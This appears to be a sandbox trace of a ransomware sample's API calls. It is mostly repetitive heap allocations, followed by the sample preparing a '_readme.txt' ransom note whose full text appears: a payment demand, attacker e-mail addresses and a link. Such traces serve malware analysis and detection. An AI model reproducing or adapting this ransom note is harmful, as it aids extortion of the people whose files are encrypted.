returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.374] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.374] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.375] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.375] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.376] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.376] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.378] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.378] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.379] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.379] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.379] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.380] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.380] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.380] PathFindFileNameW (pszPath="") returned="" [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.380] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.380] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.380] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.380] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.380] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.380] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.380] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0066.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.381] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your 